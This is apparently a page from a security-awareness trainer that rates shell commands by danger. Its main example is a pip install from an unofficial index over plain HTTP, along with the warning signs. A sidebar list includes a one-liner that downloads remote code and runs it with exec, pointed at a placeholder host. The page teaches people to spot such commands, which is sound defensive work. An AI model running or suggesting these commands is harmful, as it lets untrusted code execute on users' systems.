Dangerous
pip install --index-url http://mirror.example.net/simple requestscross-platform · bash · Advanced
Installs a package from an unofficial index over plaintext HTTP. Two problems compound: the index is not the trusted one, and without TLS anyone on the path can replace the package, which then runs its own setup code at install time.
Signals to notice
- Untrusted package index
- Plaintext HTTP allows tampering in transit
- Package install code executes automatically
Think you can spot these under time pressure?
Start TrainingMore Python
find . -name "*.pyc" -deleteIntermediatepython3 -m http.server 8000 --bind 127.0.0.1Advancedpip install --require-hashes -r requirements.txtExpertpython3 -c "import urllib.request as u; exec(u.urlopen('https://example.com/s').read())"Nightmarepython3 -c "import json; d=json.load(open('sbom.json')); print(len([c for c in d.get('components',[]) if c.get('licenses')]))"Nightmarepython3 -c "import pickletools; pickletools.dis(open('model.pkl','rb'))"Expert